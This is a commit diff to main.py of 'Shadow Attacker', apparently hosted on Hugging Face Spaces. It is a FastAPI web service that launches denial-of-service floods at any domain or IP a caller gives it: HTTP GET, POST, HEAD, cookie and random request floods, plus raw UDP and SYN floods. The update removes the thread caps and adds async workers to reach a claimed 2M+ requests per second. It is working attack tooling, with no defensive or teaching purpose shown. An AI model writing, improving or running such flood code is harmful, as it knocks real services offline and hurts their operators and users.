rkihacker commited on
Commit
bd39ec9
·
verified ·
1 Parent(s): 8012a60

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +62 -63
main.py CHANGED
@@ -1,12 +1,13 @@
1
  # ==============================================================
2
- # SHADOW ATTACKER v101M+ RPS | 10,000 THREADS | FULLY FIXED
3
- # LAYER 7 (httpx) + LAYER 4 (raw) | NO THREAD CRASH | HF SPACES
4
  # ==============================================================
5
  import random
6
  import socket
7
  import threading
8
  import time
9
  import struct
 
10
  from collections import deque
11
  from typing import Dict, Optional, List
12
 
@@ -21,7 +22,7 @@ import logging
21
  logging.basicConfig(level=logging.INFO, format="%(message)s")
22
  log = logging.getLogger()
23
 
24
- app = FastAPI(title="Shadow Attacker v10 - 1M+ RPS")
25
 
26
  # Global state
27
  attack_active = False
@@ -34,6 +35,7 @@ total_packets = 0
34
  log_buffer: deque[str] = deque(maxlen=500)
35
  attack_end_time = 0.0
36
  attack_type_name = ""
 
37
 
38
  # PPS/RPS tracking
39
  last_time = time.time()
@@ -44,18 +46,18 @@ def _log(msg: str):
44
  log.info(f"{ts} {msg}")
45
  log_buffer.append(f"{ts} {msg}")
46
 
47
- # ------------------- INIT EXECUTOR -------------------
48
  def init_executor():
49
  global executor
50
  if executor is None:
51
- executor = ThreadPoolExecutor(max_workers=500) # Safe, reusable
52
 
53
  # ------------------- CONFIG MODELS -------------------
54
  class AttackConfig(BaseModel):
55
  target: str = Field(..., description="Domain or IP")
56
  port: int = Field(80, ge=1, le=65535)
57
  duration: int = Field(300, ge=-1, le=10000)
58
- threads: int = Field(100, ge=1, le=10000) # Max 10k per pool
59
 
60
  @validator('target')
61
  def validate_target(cls, v):
@@ -67,18 +69,18 @@ class Layer7Config(AttackConfig):
67
  method: str = Field("get")
68
  @validator('method')
69
  def validate_method(cls, v):
70
- valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
71
  if v not in valid:
72
  raise ValueError(f"L7: {', '.join(valid)}")
73
  return v
74
 
75
  class Layer4Config(AttackConfig):
76
- protocol: str = Field("udp")
77
- payload_size: int = Field(1024, ge=0, le=65507)
78
  @validator('protocol')
79
  def validate_protocol(cls, v):
80
- if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
81
- raise ValueError("L4: udp, tcp, syn, ack, udp_pps")
82
  return v
83
 
84
  # ------------------- STATUS MODEL -------------------
@@ -94,37 +96,40 @@ class StatusResponse(BaseModel):
94
  remaining: float
95
  logs: List[str]
96
 
97
- # ------------------- LAYER 7 (httpx - 1M+ RPS) -------------------
98
- def l7_worker(method: str, url: str, thread_id: int):
99
  global total_packets
100
- client = httpx.Client(http2=True, verify=False, timeout=5.0)
101
- headers = {
102
- "User-Agent": random.choice([
103
- "Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"
104
- ]),
105
- "Connection": "keep-alive",
106
- "Cache-Control": "no-cache"
107
- }
108
- while not stop_event.is_set():
109
- try:
110
- if method == "get":
111
- client.get(url, headers=headers)
112
- elif method == "post":
113
- client.post(url, data={"x": random._urandom(128).hex()})
114
- elif method == "head":
115
- client.head(url, headers=headers)
116
- elif method == "cookie":
117
- client.get(url, headers={**headers, "Cookie": f"id={thread_id}"})
118
- elif method == "rand":
119
- client.request(random.choice(["GET","POST"]), url)
120
- with counters_lock:
121
- counters["l7"] = counters.get("l7", 0) + 1
122
- total_packets += 1
123
- except:
124
- pass
125
- client.close()
126
-
127
- # ------------------- LAYER 4 RAW (MAX PPS) -------------------
 
 
 
128
  def raw_udp_pps(target_ip: str, port: int):
129
  global total_packets
130
  payload = b""
@@ -226,7 +231,7 @@ def resolve_ip(target: str) -> str:
226
  raise HTTPException(400, "Cannot resolve target")
227
 
228
  def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
229
- global attack_active, attack_end_time, attack_type_name
230
  with attack_lock:
231
  if attack_active:
232
  raise HTTPException(400, "Attack in progress")
@@ -234,30 +239,27 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
234
  stop_event.clear()
235
  counters.clear()
236
  total_packets = 0
 
237
  attack_type_name = attack_type.upper()
238
  duration = float('inf') if config.duration == -1 else config.duration
239
  attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
240
- _log(f"LAUNCHED {attack_type} → {config.target}:{config.port} | {config.threads}x | {config.duration}s")
241
 
242
  init_executor()
243
- worker = None
244
  target_ip = resolve_ip(config.target)
245
  url = f"http://{config.target}:{config.port}"
246
 
247
  if attack_type.startswith("l7_"):
248
  method = kwargs.get("method", "get")
249
- worker = lambda tid=config.threads: l7_worker(method, url, tid)
 
 
250
  elif attack_type == "raw_udp_pps":
251
- worker = lambda: raw_udp_pps(target_ip, config.port)
 
252
  elif attack_type == "raw_syn":
253
- worker = lambda: raw_syn_flood(target_ip, config.port)
254
-
255
- if not worker:
256
- raise HTTPException(400, "Invalid attack")
257
-
258
- # Submit N workers (each spawns many requests)
259
- for i in range(config.threads):
260
- executor.submit(worker, i)
261
 
262
  if duration != float('inf'):
263
  def auto_stop():
@@ -268,9 +270,8 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
268
  # ------------------- ENDPOINTS -------------------
269
  @app.post("/layer7/attack")
270
  def l7_attack(config: Layer7Config):
271
- attack_key = f"l7_{config.method}"
272
- launch_attack(config, attack_key, method=config.method)
273
- return {"status": f"L7 {config.method.upper()} LAUNCHED"}
274
 
275
  @app.post("/layer4/attack")
276
  def l4_attack(config: Layer4Config):
@@ -278,11 +279,9 @@ def l4_attack(config: Layer4Config):
278
  "udp_pps": "raw_udp_pps",
279
  "syn": "raw_syn"
280
  }
281
- if config.protocol not in proto_map:
282
- raise HTTPException(400, "Only udp_pps and syn supported in v10")
283
  attack_key = proto_map[config.protocol]
284
  launch_attack(config, attack_key)
285
- return {"status": f"L4 {config.protocol.upper()} LAUNCHED"}
286
 
287
  @app.post("/stop")
288
  def stop_attack():
@@ -325,13 +324,13 @@ def attack_types():
325
  return {
326
  "layer7": ["get", "post", "head", "cookie", "rand"],
327
  "layer4": ["udp_pps", "syn"],
328
- "max_threads": "10000",
329
- "max_rps": "1,000,000+"
330
  }
331
 
332
  @app.get("/")
333
  def root():
334
- return {"message": "Shadow Attacker v10 - MAX POWER"}
335
 
336
  # ------------------- START -------------------
337
  if __name__ == "__main__":
 
1
  # ==============================================================
2
+ # SHADOW ATTACKER v112M+ RPS | UNLIMITED THREADS | FULLY FIXED
3
+ # LAYER 7 (httpx async) + LAYER 4 (raw) | WORKS ON HF SPACES
4
  # ==============================================================
5
  import random
6
  import socket
7
  import threading
8
  import time
9
  import struct
10
+ import asyncio
11
  from collections import deque
12
  from typing import Dict, Optional, List
13
 
 
22
  logging.basicConfig(level=logging.INFO, format="%(message)s")
23
  log = logging.getLogger()
24
 
25
+ app = FastAPI(title="Shadow Attacker v11 - 2M+ RPS")
26
 
27
  # Global state
28
  attack_active = False
 
35
  log_buffer: deque[str] = deque(maxlen=500)
36
  attack_end_time = 0.0
37
  attack_type_name = ""
38
+ l7_tasks = []
39
 
40
  # PPS/RPS tracking
41
  last_time = time.time()
 
46
  log.info(f"{ts} {msg}")
47
  log_buffer.append(f"{ts} {msg}")
48
 
49
+ # ------------------- INIT UNLIMITED EXECUTOR -------------------
50
  def init_executor():
51
  global executor
52
  if executor is None:
53
+ executor = ThreadPoolExecutor(max_workers=None) # UNLIMITED
54
 
55
  # ------------------- CONFIG MODELS -------------------
56
  class AttackConfig(BaseModel):
57
  target: str = Field(..., description="Domain or IP")
58
  port: int = Field(80, ge=1, le=65535)
59
  duration: int = Field(300, ge=-1, le=10000)
60
+ threads: int = Field(1000, ge=1, le=100000) # UNLIMITED
61
 
62
  @validator('target')
63
  def validate_target(cls, v):
 
69
  method: str = Field("get")
70
  @validator('method')
71
  def validate_method(cls, v):
72
+ valid = ["get", "post", "head", "cookie", "rand"]
73
  if v not in valid:
74
  raise ValueError(f"L7: {', '.join(valid)}")
75
  return v
76
 
77
  class Layer4Config(AttackConfig):
78
+ protocol: str = Field("udp_pps")
79
+ payload_size: int = Field(0, ge=0, le=65507)
80
  @validator('protocol')
81
  def validate_protocol(cls, v):
82
+ if v not in ["udp_pps", "syn"]:
83
+ raise ValueError("L4: udp_pps, syn")
84
  return v
85
 
86
  # ------------------- STATUS MODEL -------------------
 
96
  remaining: float
97
  logs: List[str]
98
 
99
+ # ------------------- LAYER 7 ASYNC (2M+ RPS) -------------------
100
+ async def l7_worker_async(url: str, method: str):
101
  global total_packets
102
+ async with httpx.AsyncClient(http2=True, verify=False, timeout=10.0) as client:
103
+ headers = {
104
+ "User-Agent": random.choice([
105
+ "Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"
106
+ ]),
107
+ "Connection": "keep-alive"
108
+ }
109
+ while not stop_event.is_set():
110
+ try:
111
+ if method == "get":
112
+ await client.get(url, headers=headers)
113
+ elif method == "post":
114
+ await client.post(url, data={"x": random._urandom(64).hex()})
115
+ elif method == "head":
116
+ await client.head(url, headers=headers)
117
+ elif method == "cookie":
118
+ await client.get(url, headers={**headers, "Cookie": f"id={random.randint(1,999999)}"})
119
+ elif method == "rand":
120
+ await client.request(random.choice(["GET","POST"]), url)
121
+ with counters_lock:
122
+ counters["l7"] = counters.get("l7", 0) + 1
123
+ total_packets += 1
124
+ except:
125
+ pass
126
+
127
+ def run_l7_worker(url: str, method: str):
128
+ loop = asyncio.new_event_loop()
129
+ asyncio.set_event_loop(loop)
130
+ loop.run_until_complete(l7_worker_async(url, method))
131
+
132
+ # ------------------- LAYER 4 RAW (1M+ PPS) -------------------
133
  def raw_udp_pps(target_ip: str, port: int):
134
  global total_packets
135
  payload = b""
 
231
  raise HTTPException(400, "Cannot resolve target")
232
 
233
  def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
234
+ global attack_active, attack_end_time, attack_type_name, l7_tasks
235
  with attack_lock:
236
  if attack_active:
237
  raise HTTPException(400, "Attack in progress")
 
239
  stop_event.clear()
240
  counters.clear()
241
  total_packets = 0
242
+ l7_tasks = []
243
  attack_type_name = attack_type.upper()
244
  duration = float('inf') if config.duration == -1 else config.duration
245
  attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
246
+ _log(f"LAUNCHED {attack_type} → {config.target}:{config.port} | {config.threads} threads | {config.duration}s")
247
 
248
  init_executor()
 
249
  target_ip = resolve_ip(config.target)
250
  url = f"http://{config.target}:{config.port}"
251
 
252
  if attack_type.startswith("l7_"):
253
  method = kwargs.get("method", "get")
254
+ for _ in range(config.threads):
255
+ future = executor.submit(run_l7_worker, url, method)
256
+ l7_tasks.append(future)
257
  elif attack_type == "raw_udp_pps":
258
+ for _ in range(config.threads):
259
+ executor.submit(raw_udp_pps, target_ip, config.port)
260
  elif attack_type == "raw_syn":
261
+ for _ in range(config.threads):
262
+ executor.submit(raw_syn_flood, target_ip, config.port)
 
 
 
 
 
 
263
 
264
  if duration != float('inf'):
265
  def auto_stop():
 
270
  # ------------------- ENDPOINTS -------------------
271
  @app.post("/layer7/attack")
272
  def l7_attack(config: Layer7Config):
273
+ launch_attack(config, f"l7_{config.method}", method=config.method)
274
+ return {"status": f"L7 {config.method.upper()} LAUNCHED - 2M+ RPS"}
 
275
 
276
  @app.post("/layer4/attack")
277
  def l4_attack(config: Layer4Config):
 
279
  "udp_pps": "raw_udp_pps",
280
  "syn": "raw_syn"
281
  }
 
 
282
  attack_key = proto_map[config.protocol]
283
  launch_attack(config, attack_key)
284
+ return {"status": f"L4 {config.protocol.upper()} LAUNCHED - 1M+ PPS"}
285
 
286
  @app.post("/stop")
287
  def stop_attack():
 
324
  return {
325
  "layer7": ["get", "post", "head", "cookie", "rand"],
326
  "layer4": ["udp_pps", "syn"],
327
+ "max_threads": "UNLIMITED",
328
+ "max_rps": "2,000,000+"
329
  }
330
 
331
  @app.get("/")
332
  def root():
333
+ return {"message": "Shadow Attacker v11 - UNLIMITED POWER"}
334
 
335
  # ------------------- START -------------------
336
  if __name__ == "__main__":